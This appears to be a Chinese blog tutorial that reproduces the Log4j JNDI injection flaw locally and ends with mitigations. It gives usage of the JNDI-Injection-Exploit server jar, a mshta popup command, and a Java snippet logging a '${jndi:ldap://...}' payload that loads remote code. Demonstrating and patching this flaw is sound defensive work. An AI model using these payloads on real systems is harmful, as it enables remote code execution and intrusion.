先放链接 log4j远程执行漏洞通告

漏洞演示

使用log4j打印日志时,如果攻击者输入恶意参数,打印该参数时,会执行任意指令。
image.png

复现漏洞

搭建本地jndi注入攻击服务器

下载注入服务器软件

启动程序

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • C - 远程class文件中要执行的命令。(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
  • A - 服务器地址,可以是IP地址或者域名。(可选项 , 默认地址是第一个网卡地址)

构建需要执行的命令,java -jar 启动程序:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "mshta \"javascript:new ActiveXObject('WScript.Shell').popup('你好',7,'刘欣的代码笔记',64);window.close();\""

模拟服务端

public class Main {
    private static final Logger logger = LogManager.getLogger(Main.class);

    public static void main(String[] args) {
        String usernamae = "${jndi:ldap://10.10.19.28:1389/epbxeb}";
        logger.error("usermae:【{}】", usernamae);
    }
}

运行复现漏洞

image.png

修复漏洞

  • 关闭所有日志输出
  • 更新log4j版本 。
  • 过滤参数rmildapjndi